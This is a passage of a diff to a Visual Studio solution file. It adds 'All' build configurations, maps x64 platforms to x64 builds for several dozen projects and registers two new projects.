+		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|x64.ActiveCfg = Release|x64
+		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|x64.Build.0 = Release|x64
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.All|Win32.ActiveCfg = Release Static|x64
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.All|x64.ActiveCfg = Release Static|x64
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.All|x64.Build.0 = Release Static|x64
 		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Debug|Win32.ActiveCfg = Debug|Win32
-		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Debug|Win32.Build.0 = Debug|Win32
-		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Debug|x64.ActiveCfg = Debug|Win32
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Debug|x64.ActiveCfg = Debug|x64
 		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|Win32.ActiveCfg = Release|Win32
-		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|Win32.Build.0 = Release|Win32
-		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|x64.ActiveCfg = Release|Win32
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|x64.ActiveCfg = Release|x64
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.All|Win32.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.All|Win32.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.All|x64.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Debug|Win32.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Debug|x64.ActiveCfg = Debug|Win32
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Debug|x64.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Release|Win32.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Release|Win32.Build.0 = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Release|x64.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Release|x64.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.All|Win32.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.All|Win32.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.All|x64.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Debug|Win32.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Debug|x64.ActiveCfg = Debug|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Debug|x64.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Release|Win32.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Release|Win32.Build.0 = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Release|x64.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Release|x64.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.All|Win32.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.All|Win32.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.All|x64.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Debug|Win32.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Debug|x64.ActiveCfg = Debug|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Debug|x64.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Release|Win32.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Release|Win32.Build.0 = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Release|x64.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Release|x64.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.All|Win32.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.All|Win32.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.All|x64.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Debug|Win32.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Debug|x64.ActiveCfg = Debug|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Debug|x64.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Release|Win32.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Release|Win32.Build.0 = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Release|x64.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Release|x64.Build.0 = Release|Win32
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.All|Win32.ActiveCfg = Debug|x64
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.All|x64.ActiveCfg = Debug|x64
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.All|x64.Build.0 = Debug|x64
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|Win32.Build.0 = Debug|Win32
-		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|x64.ActiveCfg = Debug|Win32
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|x64.ActiveCfg = Debug|x64
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|x64.Build.0 = Debug|x64
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|Win32.ActiveCfg = Release|Win32
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|Win32.Build.0 = Release|Win32
-		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|x64.ActiveCfg = Release|Win32
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|x64.ActiveCfg = Release|x64
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|x64.Build.0 = Release|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.All|Win32.ActiveCfg = Debug|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.All|x64.ActiveCfg = Debug|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.All|x64.Build.0 = Debug|x64
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|Win32.Build.0 = Debug|Win32
-		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|x64.ActiveCfg = Debug|Win32
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|x64.ActiveCfg = Debug|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|x64.Build.0 = Debug|x64
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|Win32.ActiveCfg = Release|Win32
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|Win32.Build.0 = Release|Win32
-		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|x64.ActiveCfg = Release|Win32
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|x64.ActiveCfg = Release|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|x64.Build.0 = Release|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.All|Win32.ActiveCfg = Release|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.All|x64.ActiveCfg = Release|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.All|x64.Build.0 = Release|x64
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|Win32.ActiveCfg = Debug|Win32
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|Win32.Build.0 = Debug|Win32
-		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|x64.ActiveCfg = Debug|Win32
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|x64.ActiveCfg = Debug|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|x64.Build.0 = Debug|x64
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|Win32.ActiveCfg = Release|Win32
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|Win32.Build.0 = Release|Win32
-		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|x64.ActiveCfg = Release|Win32
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|x64.ActiveCfg = Release|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|x64.Build.0 = Release|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.All|Win32.ActiveCfg = Debug|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.All|x64.ActiveCfg = Debug|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.All|x64.Build.0 = Debug|x64
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|Win32.Build.0 = Debug|Win32
-		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|x64.ActiveCfg = Debug|Win32
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|x64.ActiveCfg = Debug|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|x64.Build.0 = Debug|x64
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|Win32.ActiveCfg = Release|Win32
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|Win32.Build.0 = Release|Win32
-		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|x64.ActiveCfg = Release|Win32
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|x64.ActiveCfg = Release|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|x64.Build.0 = Release|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.All|Win32.ActiveCfg = Release|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.All|x64.ActiveCfg = Release|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.All|x64.Build.0 = Release|x64
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|Win32.Build.0 = Debug|Win32
-		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|x64.ActiveCfg = Debug|Win32
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|x64.ActiveCfg = Debug|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|x64.Build.0 = Debug|x64
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|Win32.ActiveCfg = Release|Win32
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|Win32.Build.0 = Release|Win32
-		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|x64.ActiveCfg = Release|Win32
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|x64.ActiveCfg = Release|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|x64.Build.0 = Release|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.All|Win32.ActiveCfg = Release|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.All|x64.ActiveCfg = Release|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.All|x64.Build.0 = Release|x64
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|Win32.Build.0 = Debug|Win32
-		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|x64.ActiveCfg = Debug|Win32
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|x64.ActiveCfg = Debug|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|x64.Build.0 = Debug|x64
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|Win32.ActiveCfg = Release|Win32
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|Win32.Build.0 = Release|Win32
-		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|x64.ActiveCfg = Release|Win32
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|x64.ActiveCfg = Release|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|x64.Build.0 = Release|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.All|Win32.ActiveCfg = Release_Mono|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.All|x64.ActiveCfg = Release_Mono|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.All|x64.Build.0 = Release_Mono|x64
 		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|Win32.ActiveCfg = Debug_CLR|Win32
 		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|Win32.Build.0 = Debug_CLR|Win32
-		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|x64.ActiveCfg = Debug_Mono|Win32
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|x64.ActiveCfg = Debug_CLR|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|x64.Build.0 = Debug_CLR|x64
 		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|Win32.ActiveCfg = Release_CLR|Win32
-		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|x64.ActiveCfg = Release_Mono|Win32
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|Win32.Build.0 = Release_CLR|Win32
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|x64.ActiveCfg = Release_CLR|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|x64.Build.0 = Release_CLR|x64
+		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.All|Win32.ActiveCfg = Release|x64
+		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.All|x64.ActiveCfg = Release|x64
+		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.All|x64.Build.0 = Release|x64
 		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Debug|Win32.ActiveCfg = Debug|Any CPU
 		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Debug|Win32.Build.0 = Debug|Any CPU
-		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Debug|x64.ActiveCfg = Debug|Any CPU
+		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Debug|x64.ActiveCfg = Debug|x64
+		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Debug|x64.Build.0 = Debug|x64
 		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Release|Win32.ActiveCfg = Release|Any CPU
 		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Release|Win32.Build.0 = Release|Any CPU
-		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Release|x64.ActiveCfg = Release|Any CPU
+		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Release|x64.ActiveCfg = Release|x64
+		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0}.Release|x64.Build.0 = Release|x64
+		{E796E337-DE78-4303-8614-9A590862EE95}.All|Win32.ActiveCfg = Release|Win32
+		{E796E337-DE78-4303-8614-9A590862EE95}.All|Win32.Build.0 = Release|Win32
+		{E796E337-DE78-4303-8614-9A590862EE95}.All|x64.ActiveCfg = Release|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Debug|Win32.Build.0 = Debug|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Debug|x64.ActiveCfg = Debug|Win32
+		{E796E337-DE78-4303-8614-9A590862EE95}.Debug|x64.Build.0 = Debug|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Release|Win32.ActiveCfg = Release|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Release|Win32.Build.0 = Release|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Release|x64.ActiveCfg = Release|Win32
+		{E796E337-DE78-4303-8614-9A590862EE95}.Release|x64.Build.0 = Release|Win32
+		{419C8F80-D858-4B48-A25C-AF4007608137}.All|Win32.ActiveCfg = Release|x64
+		{419C8F80-D858-4B48-A25C-AF4007608137}.All|x64.ActiveCfg = Release|x64
+		{419C8F80-D858-4B48-A25C-AF4007608137}.All|x64.Build.0 = Release|x64
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|Win32.ActiveCfg = Debug|Win32
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|Win32.Build.0 = Debug|Win32
-		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|x64.ActiveCfg = Debug|Win32
+		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|x64.ActiveCfg = Debug|x64
+		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|x64.Build.0 = Debug|x64
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|Win32.ActiveCfg = Release|Win32
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|Win32.Build.0 = Release|Win32
-		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|x64.ActiveCfg = Release|Win32
+		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|x64.ActiveCfg = Release|x64
+		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|x64.Build.0 = Release|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.All|Win32.ActiveCfg = Release|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.All|x64.ActiveCfg = Release|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.All|x64.Build.0 = Release|x64
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|Win32.Build.0 = Debug|Win32
-		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|x64.ActiveCfg = Debug|Win32
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|x64.ActiveCfg = Debug|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|x64.Build.0 = Debug|x64
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|Win32.ActiveCfg = Release|Win32
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|Win32.Build.0 = Release|Win32
-		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|x64.ActiveCfg = Release|Win32
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|x64.ActiveCfg = Release|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|x64.Build.0 = Release|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.All|Win32.ActiveCfg = Release|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.All|x64.ActiveCfg = Release|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.All|x64.Build.0 = Release|x64
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|Win32.ActiveCfg = Debug|Win32
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|Win32.Build.0 = Debug|Win32
-		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|x64.ActiveCfg = Debug|Win32
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|x64.ActiveCfg = Debug|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|x64.Build.0 = Debug|x64
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|Win32.ActiveCfg = Release|Win32
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|Win32.Build.0 = Release|Win32
-		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|x64.ActiveCfg = Release|Win32
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|x64.ActiveCfg = Release|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|x64.Build.0 = Release|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.All|Win32.ActiveCfg = Release|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.All|x64.ActiveCfg = Release|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.All|x64.Build.0 = Release|x64
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|Win32.Build.0 = Debug|Win32
-		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|x64.ActiveCfg = Debug|Win32
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|x64.ActiveCfg = Debug|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|x64.Build.0 = Debug|x64
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|Win32.ActiveCfg = Release|Win32
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|Win32.Build.0 = Release|Win32
-		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|x64.ActiveCfg = Release|Win32
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|x64.ActiveCfg = Release|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|x64.Build.0 = Release|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.All|Win32.ActiveCfg = Release|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.All|x64.ActiveCfg = Release|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.All|x64.Build.0 = Release|x64
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|Win32.Build.0 = Debug|Win32
-		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|x64.ActiveCfg = Debug|Win32
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|x64.ActiveCfg = Debug|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|x64.Build.0 = Debug|x64
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|Win32.ActiveCfg = Release|Win32
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|Win32.Build.0 = Release|Win32
-		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|x64.ActiveCfg = Release|Win32
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|x64.ActiveCfg = Release|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|x64.Build.0 = Release|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.All|Win32.ActiveCfg = Release|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.All|x64.ActiveCfg = Release|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.All|x64.Build.0 = Release|x64
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|Win32.Build.0 = Debug|Win32
-		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|x64.ActiveCfg = Debug|Win32
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|x64.ActiveCfg = Debug|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|x64.Build.0 = Debug|x64
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|Win32.ActiveCfg = Release|Win32
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|Win32.Build.0 = Release|Win32
-		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|x64.ActiveCfg = Release|Win32
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|x64.ActiveCfg = Release|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|x64.Build.0 = Release|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.All|Win32.ActiveCfg = Release|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.All|x64.ActiveCfg = Release|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.All|x64.Build.0 = Release|x64
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|Win32.Build.0 = Debug|Win32
-		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|x64.ActiveCfg = Debug|Win32
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|x64.ActiveCfg = Debug|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|x64.Build.0 = Debug|x64
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|Win32.ActiveCfg = Release|Win32
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|Win32.Build.0 = Release|Win32
-		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|x64.ActiveCfg = Release|Win32
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|x64.ActiveCfg = Release|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|x64.Build.0 = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.All|Win32.ActiveCfg = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.All|x64.ActiveCfg = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.All|x64.Build.0 = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Debug|Win32.ActiveCfg = Debug|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Debug|Win32.Build.0 = Debug|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Debug|x64.ActiveCfg = Debug|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Debug|x64.Build.0 = Debug|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Release|Win32.ActiveCfg = Release|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Release|Win32.Build.0 = Release|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Release|x64.ActiveCfg = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Release|x64.Build.0 = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.All|Win32.ActiveCfg = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.All|x64.ActiveCfg = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.All|x64.Build.0 = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Debug|Win32.Build.0 = Debug|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Debug|x64.ActiveCfg = Debug|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Debug|x64.Build.0 = Debug|x64
